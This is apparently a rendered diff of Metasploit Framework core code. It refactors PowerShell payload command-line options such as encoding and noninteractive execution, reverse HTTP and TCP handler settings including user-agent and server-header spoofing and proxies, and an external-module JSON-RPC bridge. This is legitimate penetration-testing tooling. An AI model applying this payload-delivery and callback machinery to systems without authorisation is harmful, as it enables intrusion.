if Rex::Socket.is_ipv6?(rhost)
|
||||||
|
uri_host = "[#{rhost}]"
|
||||||
|
else
|
||||||
|
uri_host = rhost
|
||||||
|
end
|
||||||
|
|
||||||
|
"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -14,9 +14,11 @@ module Exploit::Powershell
|
||||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||||
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
|
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
|
||||||
|
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
|
||||||
|
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
|
||||||
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
|
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
|
||||||
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
|
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
|
||||||
OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
|
OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
|
||||||
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
|
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
|
||||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
|
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
|
||||||
]
|
]
|
||||||
|
@ -215,14 +217,13 @@ module Exploit::Powershell
|
||||||
# powershell script
|
# powershell script
|
||||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||||
# environment variable at the start of the command line
|
# environment variable at the start of the command line
|
||||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
|
||||||
# argument in single quotes unless :encode_final_payload
|
# argument in double quotes unless :encode_final_payload
|
||||||
#
|
#
|
||||||
# @return [String] Powershell command line with payload
|
# @return [String] Powershell command line with payload
|
||||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||||
options.validate(datastore)
|
%i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
|
||||||
|
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
|
||||||
%i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload use_single_quotes no_equals method].map do |opt|
|
|
||||||
opts[opt] ||= datastore["Powershell::#{opt}"]
|
opts[opt] ||= datastore["Powershell::#{opt}"]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -111,7 +111,7 @@ module Exploit::Remote::SMTPDeliver
|
||||||
unless res[0..2] == '235'
|
unless res[0..2] == '235'
|
||||||
print_error("Authentication failed, quitting")
|
print_error("Authentication failed, quitting")
|
||||||
disconnect(nsock)
|
disconnect(nsock)
|
||||||
raise RuntimeError.new 'Could not authenticate to SMTP server'
|
raise 'Could not authenticate to SMTP server'
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_status("Server requested auth and no creds given, trying to continue anyway")
|
print_status("Server requested auth and no creds given, trying to continue anyway")
|
||||||
|
@ -126,7 +126,7 @@ module Exploit::Remote::SMTPDeliver
|
||||||
unless res[0..2] == '235'
|
unless res[0..2] == '235'
|
||||||
print_error("Authentication failed, quitting")
|
print_error("Authentication failed, quitting")
|
||||||
disconnect(nsock)
|
disconnect(nsock)
|
||||||
raise RuntimeError.new 'Could not authenticate to SMTP server'
|
raise 'Could not authenticate to SMTP server'
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_status("Server requested auth and no creds given, trying to continue anyway")
|
print_status("Server requested auth and no creds given, trying to continue anyway")
|
||||||
|
|
|
@ -222,7 +222,16 @@ protected
|
||||||
s.set_from_exploit(assoc_exploit)
|
s.set_from_exploit(assoc_exploit)
|
||||||
|
|
||||||
# Pass along any associated payload uuid if specified
|
# Pass along any associated payload uuid if specified
|
||||||
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
|
if opts[:payload_uuid]
|
||||||
|
s.payload_uuid = opts[:payload_uuid]
|
||||||
|
if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[s.payload_uuid.puid_hex])
|
||||||
|
s.payload_uuid.registered = true
|
||||||
|
s.payload_uuid.name = uuid_info['name']
|
||||||
|
s.payload_uuid.timestamp = uuid_info['timestamp']
|
||||||
|
else
|
||||||
|
s.payload_uuid.registered = false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# If the session is valid, register it with the framework and
|
# If the session is valid, register it with the framework and
|
||||||
# notify any waiters we may have.
|
# notify any waiters we may have.
|
||||||
|
|
|
@ -52,16 +52,38 @@ module ReverseHttp
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
OptAddress.new('ReverseListenerBindAddress',
|
||||||
OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]),
|
'The specific IP address to bind to on the local system'
|
||||||
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
|
),
|
||||||
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
|
OptBool.new('OverrideRequestHost',
|
||||||
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
|
'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
|
||||||
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
|
),
|
||||||
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
|
OptString.new('OverrideLHOST',
|
||||||
OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']),
|
'When OverrideRequestHost is set, use this value as the host name for secondary requests'
|
||||||
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
|
),
|
||||||
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
|
OptPort.new('OverrideLPORT',
|
||||||
|
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
|
||||||
|
),
|
||||||
|
OptString.new('OverrideScheme',
|
||||||
|
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
|
||||||
|
),
|
||||||
|
OptString.new('HttpUserAgent',
|
||||||
|
'The user-agent that the payload should use for communication',
|
||||||
|
default: Rex::UserAgent.shortest,
|
||||||
|
aliases: ['MeterpreterUserAgent']
|
||||||
|
),
|
||||||
|
OptString.new('HttpServerName',
|
||||||
|
'The server header that the handler will send in response to requests',
|
||||||
|
default: 'Apache',
|
||||||
|
aliases: ['MeterpreterServerName']
|
||||||
|
),
|
||||||
|
OptString.new('HttpUnknownRequestResponse',
|
||||||
|
'The returned HTML response body when the handler receives a request that is not from a payload',
|
||||||
|
default: '<html><body><h1>It works!</h1></body></html>'
|
||||||
|
),
|
||||||
|
OptBool.new('IgnoreUnknownPayloads',
|
||||||
|
'Whether to drop connections from payloads using unknown UUIDs'
|
||||||
|
)
|
||||||
], Msf::Handler::ReverseHttp)
|
], Msf::Handler::ReverseHttp)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -204,7 +226,7 @@ module ReverseHttp
|
||||||
|
|
||||||
raise ex if (ex)
|
raise ex if (ex)
|
||||||
|
|
||||||
self.service.server_name = datastore['MeterpreterServerName']
|
self.service.server_name = datastore['HttpServerName']
|
||||||
|
|
||||||
# Add the new resource
|
# Add the new resource
|
||||||
service.add_resource((luri + "/").gsub("//", "/"),
|
service.add_resource((luri + "/").gsub("//", "/"),
|
||||||
|
@ -245,14 +267,14 @@ protected
|
||||||
info = {}
|
info = {}
|
||||||
return @proxy_settings if @proxy_settings
|
return @proxy_settings if @proxy_settings
|
||||||
|
|
||||||
if datastore['PayloadProxyHost'].to_s == ''
|
if datastore['HttpProxyHost'].to_s == ''
|
||||||
@proxy_settings = info
|
@proxy_settings = info
|
||||||
return @proxy_settings
|
return @proxy_settings
|
||||||
end
|
end
|
||||||
|
|
||||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
info[:host] = datastore['HttpProxyHost'].to_s
|
||||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
|
||||||
info[:type] = datastore['PayloadProxyType'].to_s
|
info[:type] = datastore['HttpProxyType'].to_s
|
||||||
|
|
||||||
uri_host = info[:host]
|
uri_host = info[:host]
|
||||||
|
|
||||||
|
@ -266,11 +288,11 @@ protected
|
||||||
info[:info] = "socks=#{info[:info]}"
|
info[:info] = "socks=#{info[:info]}"
|
||||||
else
|
else
|
||||||
info[:info] = "http://#{info[:info]}"
|
info[:info] = "http://#{info[:info]}"
|
||||||
if datastore['PayloadProxyUser'].to_s != ''
|
if datastore['HttpProxyUser'].to_s != ''
|
||||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
info[:username] = datastore['HttpProxyUser'].to_s
|
||||||
end
|
end
|
||||||
if datastore['PayloadProxyPass'].to_s != ''
|
if datastore['HttpProxyPass'].to_s != ''
|
||||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
info[:password] = datastore['HttpProxyPass'].to_s
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -347,8 +369,6 @@ protected
|
||||||
blob = self.generate_stage(
|
blob = self.generate_stage(
|
||||||
url: url,
|
url: url,
|
||||||
uuid: uuid,
|
uuid: uuid,
|
||||||
lhost: uri.host,
|
|
||||||
lport: uri.port,
|
|
||||||
uri: conn_id
|
uri: conn_id
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -38,14 +38,11 @@ module ReverseHttpsProxy
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
|
||||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
OptPort.new('LPORT', "The local listener port", default: 8443)
|
||||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
] +
|
||||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
Msf::Opt::http_proxy_options,
|
||||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
Msf::Handler::ReverseHttpsProxy)
|
||||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
|
||||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
|
||||||
], Msf::Handler::ReverseHttpsProxy)
|
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
|
|
@ -45,15 +45,6 @@ module ReverseTcp
|
||||||
# XXX: Not supported by all modules
|
# XXX: Not supported by all modules
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new(
|
|
||||||
'StagerRetryCount',
|
|
||||||
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
|
|
||||||
aliases: ['ReverseConnectRetries']
|
|
||||||
),
|
|
||||||
OptFloat.new(
|
|
||||||
'StagerRetryWait',
|
|
||||||
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
|
|
||||||
),
|
|
||||||
OptAddress.new(
|
OptAddress.new(
|
||||||
'ReverseListenerBindAddress',
|
'ReverseListenerBindAddress',
|
||||||
[ false, 'The specific IP address to bind to on the local system' ]
|
[ false, 'The specific IP address to bind to on the local system' ]
|
||||||
|
@ -62,7 +53,8 @@ module ReverseTcp
|
||||||
'ReverseListenerThreaded',
|
'ReverseListenerThreaded',
|
||||||
[ true, 'Handle every connection in a new thread (experimental)', false ]
|
[ true, 'Handle every connection in a new thread (experimental)', false ]
|
||||||
)
|
)
|
||||||
],
|
] +
|
||||||
|
Msf::Opt::stager_retry_options,
|
||||||
Msf::Handler::ReverseTcp
|
Msf::Handler::ReverseTcp
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -1,23 +1,79 @@
|
||||||
module Msf::Module::External
|
module Msf::Module::External
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
def wait_status(mod)
|
def wait_status(mod)
|
||||||
while mod.running
|
begin
|
||||||
m = mod.get_status
|
while mod.running
|
||||||
if m
|
m = mod.get_status
|
||||||
case m['level']
|
if m
|
||||||
when 'error'
|
case m.method
|
||||||
print_error m['message']
|
when :message
|
||||||
when 'warning'
|
log_output(m)
|
||||||
print_warning m['message']
|
when :report
|
||||||
when 'good'
|
process_report(m)
|
||||||
print_good m['message']
|
when :reply
|
||||||
when 'info'
|
# we're done
|
||||||
print_status m['message']
|
break
|
||||||
when 'debug'
|
end
|
||||||
vprint_status m['message']
|
|
||||||
else
|
|
||||||
print_status m['message']
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
rescue Interrupt => e
|
||||||
|
raise e
|
||||||
|
rescue Exception => e
|
||||||
|
elog e.backtrace.join("\n")
|
||||||
|
fail_with Msf::Module::Failure::Unknown, e.message
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def log_output(m)
|
||||||
|
message = m.params['message']
|
||||||
|
|
||||||
|
case m.params['level']
|
||||||
|
when 'error'
|
||||||
|
print_error message
|
||||||
|
when 'warning'
|
||||||
|
print_warning message
|
||||||
|
when 'good'
|
||||||
|
print_good message
|
||||||
|
when 'info'
|
||||||
|
print_status message
|
||||||
|
when 'debug'
|
||||||
|
vprint_status message
|
||||||
|
else
|
||||||
|
print_status message
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def process_report(m)
|
||||||
|
data = m.params['data']
|
||||||
|
|
||||||
|
case m.params['type']
|
||||||
|
when 'host'
|
||||||
|
# Required
|
||||||
|
host = {host: data['host']}
|
||||||
|
|
||||||
|
# Optional
|
||||||
|
host[:state] = data['state'] if data['state'] # TODO: validate -- one of the Msf::HostState constants (unknown, alive, dead)
|
||||||
|
host[:os_name] = data['os_name'] if data['os_name']
|
||||||
|
host[:os_flavor] = data['os_flavor'] if data['os_flavor']
|
||||||
|
host[:os_sp] = data['os_sp'] if data['os_sp']
|
||||||
|
host[:os_lang] = data['os_lang'] if data['os_lang']
|
||||||
|
host[:arch] = data['arch'] if data['arch'] # TODO: validate -- one of the ARCH_* constants
|
||||||
|
host[:mac] = data['mac'] if data['mac']
|
||||||
|
host[:scope] = data['scope'] if data['scope']
|
||||||
|
host[:virtual_host] = data['virtual_host'] if data['virtual_host']
|
||||||
|
|
||||||
|
report_host(host)
|
||||||
|
when 'service'
|
||||||
|
# Required
|
||||||
|
service = {host: data['host'], port: data['port'], proto: data['proto']}
|
||||||
|
|
||||||
|
# Optional
|
||||||
|
service[:name] = data['name'] if data['name']
|
||||||
|
|
||||||
|
report_service(service)
|
||||||
|
else
|
||||||
|
print_warning "Skipping unrecognized report type #{m.params['type']}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -24,6 +24,10 @@ module Msf::Module::FullName
|
||||||
type + '/' + refname
|
type + '/' + refname
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def promptname
|
||||||
|
refname
|
||||||
|
end
|
||||||
|
|
||||||
def shortname
|
def shortname
|
||||||
refname.split('/').last
|
refname.split('/').last
|
||||||
end
|
end
|
||||||
|
@ -55,9 +59,16 @@ module Msf::Module::FullName
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the module's framework short name. This is a
|
# Returns the module's framework prompt-friendly name.
|
||||||
# possibly conflicting name used for things like console
|
#
|
||||||
# prompts.
|
# reverse_tcp
|
||||||
|
#
|
||||||
|
def promptname
|
||||||
|
self.class.promptname
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the module's framework short name.
|
||||||
#
|
#
|
||||||
# reverse_tcp
|
# reverse_tcp
|
||||||
#
|
#
|
||||||
|
|
|
@ -143,8 +143,7 @@ class Msf::Module::Platform
|
||||||
|
|
||||||
if (not mod.const_defined?('Names'))
|
if (not mod.const_defined?('Names'))
|
||||||
elog("Failed to instantiate the platform list for module #{mod}")
|
elog("Failed to instantiate the platform list for module #{mod}")
|
||||||
raise RuntimeError.new("Failed to instantiate the platform list for module #{mod}")
|
raise "Failed to instantiate the platform list for module #{mod}"
|
||||||
return nil
|
|
||||||
end
|
end
|
||||||
|
|
||||||
abbrev = mod.const_get('Abbrev')
|
abbrev = mod.const_get('Abbrev')
|
||||||
|
|
|
@ -116,8 +116,8 @@ module Msf::ModuleManager::Loading
|
||||||
|
|
||||||
loaders.each do |loader|
|
loaders.each do |loader|
|
||||||
if loader.loadable?(path)
|
if loader.loadable?(path)
|
||||||
count_by_type.merge!(loader.load_modules(path, options)) do |key, old, new|
|
count_by_type.merge!(loader.load_modules(path, options)) do |key, prev, now|
|
||||||
old + new
|
prev + now
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -2,6 +2,7 @@
|
||||||
require 'msf/core/modules/external'
|
require 'msf/core/modules/external'
|
||||||
require 'msf/core/modules/external/message'
|
require 'msf/core/modules/external/message'
|
||||||
require 'open3'
|
require 'open3'
|
||||||
|
require 'json'
|
||||||
|
|
||||||
class Msf::Modules::External::Bridge
|
class Msf::Modules::External::Bridge
|
||||||
|
|
||||||
|
@ -26,14 +27,13 @@ class Msf::Modules::External::Bridge
|
||||||
|
|
||||||
def get_status
|
def get_status
|
||||||
if self.running
|
if self.running
|
||||||
n = receive_notification
|
m = receive_notification
|
||||||
if n && n['params']
|
if m.nil?
|
||||||
n['params']
|
|
||||||
else
|
|
||||||
close_ios
|
close_ios
|
||||||
self.running = false
|
self.running = false
|
||||||
n['response'] if n
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
return m
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -41,30 +41,35 @@ class Msf::Modules::External::Bridge
|
||||||
self.env = {}
|
self.env = {}
|
||||||
self.running = false
|
self.running = false
|
||||||
self.path = module_path
|
self.path = module_path
|
||||||
|
self.cmd = [self.path, self.path]
|
||||||
|
self.messages = Queue.new
|
||||||
|
self.buf = ''
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_writer :path, :running
|
attr_writer :path, :running
|
||||||
attr_accessor :env, :ios
|
attr_accessor :cmd, :env, :ios, :buf, :messages, :wait_thread
|
||||||
|
|
||||||
def describe
|
def describe
|
||||||
resp = send_receive(Msf::Modules::External::Message.new(:describe))
|
resp = send_receive(Msf::Modules::External::Message.new(:describe))
|
||||||
close_ios
|
close_ios
|
||||||
resp['response']
|
resp.params
|
||||||
end
|
end
|
||||||
|
|
||||||
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
|
# XXX TODO non-blocking writes, check write lengths
|
||||||
|
|
||||||
def send_receive(message)
|
def send_receive(message)
|
||||||
send(message)
|
send(message)
|
||||||
read_json(message.id, self.ios[1])
|
recv(message.id)
|
||||||
end
|
end
|
||||||
|
|
||||||
def send(message)
|
def send(message)
|
||||||
input, output, status = ::Open3.popen3(env, [self.path, self.path])
|
input, output, err, status = ::Open3.popen3(self.env, self.cmd)
|
||||||
self.ios = [input, output, status]
|
self.ios = [input, output, err]
|
||||||
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
|
self.wait_thread = status
|
||||||
|
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
|
||||||
|
case select(nil, [input], nil, 0.1)
|
||||||
when nil
|
when nil
|
||||||
raise "Cannot run module #{self.path}"
|
raise "Cannot run module #{self.path}"
|
||||||
when [[], [input], []]
|
when [[], [input], []]
|
||||||
|
@ -76,12 +81,10 @@ class Msf::Modules::External::Bridge
|
||||||
end
|
end
|
||||||
|
|
||||||
def receive_notification
|
def receive_notification
|
||||||
input, output, status = self.ios
|
if self.messages.empty?
|
||||||
case Rex::ThreadSafe.select([output], nil, nil, 10)
|
recv
|
||||||
when nil
|
else
|
||||||
nil
|
self.messages.pop
|
||||||
when [[output], [], []]
|
|
||||||
read_json(nil, output)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -89,18 +92,76 @@ class Msf::Modules::External::Bridge
|
||||||
fd.write(json)
|
fd.write(json)
|
||||||
end
|
end
|
||||||
|
|
||||||
def read_json(id, fd)
|
def recv(filter_id=nil, timeout=600)
|
||||||
|
_, out, err = self.ios
|
||||||
|
message = ''
|
||||||
|
|
||||||
|
# Multiple messages can come over the wire all at once, and since yajl
|
||||||
|
# doesn't play nice with windows, we have to emulate a state machine to
|
||||||
|
# read just enough off the wire to get one request at a time. Since
|
||||||
|
# Windows cannot do a nonblocking read on a pipe, we are forced to do a
|
||||||
|
# whole lot of `select` syscalls and keep a buffer ourselves :(
|
||||||
begin
|
begin
|
||||||
resp = fd.readpartial(10_000)
|
loop do
|
||||||
JSON.parse(resp)
|
# This is so we don't end up calling JSON.parse on every char and
|
||||||
|
# catch an exception. Windows can't do nonblock on pipes, so we
|
||||||
|
# still have to do the select if we are not at the end of object
|
||||||
|
# and don't have any buffer left
|
||||||
|
parts = self.buf.split '}', 2
|
||||||
|
if parts.length == 2 # [part, rest]
|
||||||
|
message << parts[0] << '}'
|
||||||
|
self.buf = parts[1]
|
||||||
|
break
|
||||||
|
elsif parts.length == 1 # [part]
|
||||||
|
if self.buf[-1] == '}'
|
||||||
|
message << parts[0] << '}'
|
||||||
|
self.buf = ''
|
||||||
|
break
|
||||||
|
else
|
||||||
|
message << parts[0]
|
||||||
|
self.buf = ''
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# We would call Rex::Threadsafe directly, but that would require Rex for standalone use
|
||||||
|
res = select([out, err], nil, nil, timeout)
|
||||||
|
if res == nil
|
||||||
|
# This is what we would have gotten without Rex and what `readpartial` can also raise
|
||||||
|
raise EOFError.new
|
||||||
|
else
|
||||||
|
fds = res[0]
|
||||||
|
# Preferentially drain and log stderr
|
||||||
|
if fds.include? err
|
||||||
|
errbuf = err.readpartial(4096)
|
||||||
|
elog "Unexpected output running #{self.path}:\n#{errbuf}"
|
||||||
|
end
|
||||||
|
if fds.include? out
|
||||||
|
self.buf << out.readpartial(4096)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
m = Msf::Modules::External::Message.from_module(JSON.parse(message))
|
||||||
|
if filter_id && m.id != filter_id
|
||||||
|
# We are filtering for a response to a particular message, but we got
|
||||||
|
# something else, store the message and try again
|
||||||
|
self.messages.push m
|
||||||
|
read_json(filter_id, timeout)
|
||||||
|
else
|
||||||
|
# Either we weren't filtering, or we got what we were looking for
|
||||||
|
m
|
||||||
|
end
|
||||||
|
rescue JSON::ParserError
|
||||||
|
# Probably an incomplete response, but no way to really tell. Keep trying
|
||||||
|
# until EOF
|
||||||
|
retry
|
||||||
rescue EOFError => e
|
rescue EOFError => e
|
||||||
{}
|
nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def close_ios
|
def close_ios
|
||||||
input, output, status = self.ios
|
self.ios.each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
|
||||||
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,11 +2,25 @@
|
||||||
require 'msf/core/modules/external'
|
require 'msf/core/modules/external'
|
||||||
require 'base64'
|
require 'base64'
|
||||||
require 'json'
|
require 'json'
|
||||||
|
require 'securerandom'
|
||||||
|
|
||||||
class Msf::Modules::External::Message
|
class Msf::Modules::External::Message
|
||||||
|
|
||||||
attr_reader :method, :id
|
attr_reader :method
|
||||||
attr_accessor :params
|
attr_accessor :params, :id
|
||||||
|
|
||||||
|
def self.from_module(j)
|
||||||
|
if j['method']
|
||||||
|
m = self.new(j['method'].to_sym)
|
||||||
|
m.params = j['params']
|
||||||
|
m
|
||||||
|
elsif j['response']
|
||||||
|
m = self.new(:reply)
|
||||||
|
m.params = j['response']
|
||||||
|
m.id = j['id']
|
||||||
|
m
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def initialize(m)
|
def initialize(m)
|
||||||
self.method = m
|
self.method = m
|
||||||
|
@ -20,5 +34,5 @@ class Msf::Modules::External::Message
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
attr_writer :method, :id
|
attr_writer :method
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,20 +1,37 @@
|
||||||
import sys, os, json
|
import sys, os, json
|
||||||
|
|
||||||
def log(message, level='info'):
|
def log(message, level='info'):
|
||||||
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
|
rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
|
||||||
'level': level,
|
'level': level,
|
||||||
'message': message
|
'message': message
|
||||||
}}))
|
}})
|
||||||
sys.stdout.flush()
|
|
||||||
|
|
||||||
def run(metadata, exploit):
|
def report_host(ip, opts={}):
|
||||||
|
host = opts.copy()
|
||||||
|
host.update({'host': ip})
|
||||||
|
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
|
||||||
|
'type': 'host', 'data': host
|
||||||
|
}})
|
||||||
|
|
||||||
|
def report_service(ip, opts={}):
|
||||||
|
service = opts.copy()
|
||||||
|
service.update({'host': ip})
|
||||||
|
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
|
||||||
|
'type': 'service', 'data': service
|
||||||
|
}})
|
||||||
|
|
||||||
|
|
||||||
|
def run(metadata, module_callback):
|
||||||
req = json.loads(os.read(0, 10000))
|
req = json.loads(os.read(0, 10000))
|
||||||
if req['method'] == 'describe':
|
if req['method'] == 'describe':
|
||||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
|
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
|
||||||
elif req['method'] == 'run':
|
elif req['method'] == 'run':
|
||||||
args = req['params']
|
args = req['params']
|
||||||
exploit(args)
|
module_callback(args)
|
||||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
|
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
|
||||||
'message': 'Exploit completed'
|
'message': 'Module completed'
|
||||||
}}))
|
}})
|
||||||
sys.stdout.flush()
|
|
||||||
|
def rpc_send(req):
|
||||||
|
print(json.dumps(req))
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
|
@ -9,6 +9,13 @@ class Msf::Modules::External::Shim
|
||||||
case mod.meta['type']
|
case mod.meta['type']
|
||||||
when 'remote_exploit_cmd_stager'
|
when 'remote_exploit_cmd_stager'
|
||||||
remote_exploit_cmd_stager(mod)
|
remote_exploit_cmd_stager(mod)
|
||||||
|
when 'capture_server'
|
||||||
|
capture_server(mod)
|
||||||
|
when 'dos'
|
||||||
|
dos(mod)
|
||||||
|
else
|
||||||
|
# TODO have a nice load error show up in the logs
|
||||||
|
''
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -26,10 +33,6 @@ class Msf::Modules::External::Shim
|
||||||
meta[:name] = mod.meta['name'].dump
|
meta[:name] = mod.meta['name'].dump
|
||||||
meta[:description] = mod.meta['description'].dump
|
meta[:description] = mod.meta['description'].dump
|
||||||
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
||||||
meta[:date] = mod.meta['date'].dump
|
|
||||||
meta[:references] = mod.meta['references'].map do |r|
|
|
||||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
|
||||||
end.join(",\n ")
|
|
||||||
|
|
||||||
meta[:options] = mod.meta['options'].map do |n, o|
|
meta[:options] = mod.meta['options'].map do |n, o|
|
||||||
"Opt#{o['type'].capitalize}.new(#{n.dump},
|
"Opt#{o['type'].capitalize}.new(#{n.dump},
|
||||||
|
@ -39,11 +42,15 @@ class Msf::Modules::External::Shim
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.mod_meta_exploit(mod, meta = {})
|
def self.mod_meta_exploit(mod, meta = {})
|
||||||
|
meta[:date] = mod.meta['date'].dump
|
||||||
meta[:wfsdelay] = mod.meta['wfsdelay'] || 5
|
meta[:wfsdelay] = mod.meta['wfsdelay'] || 5
|
||||||
meta[:privileged] = mod.meta['privileged'].inspect
|
meta[:privileged] = mod.meta['privileged'].inspect
|
||||||
meta[:platform] = mod.meta['targets'].map do |t|
|
meta[:platform] = mod.meta['targets'].map do |t|
|
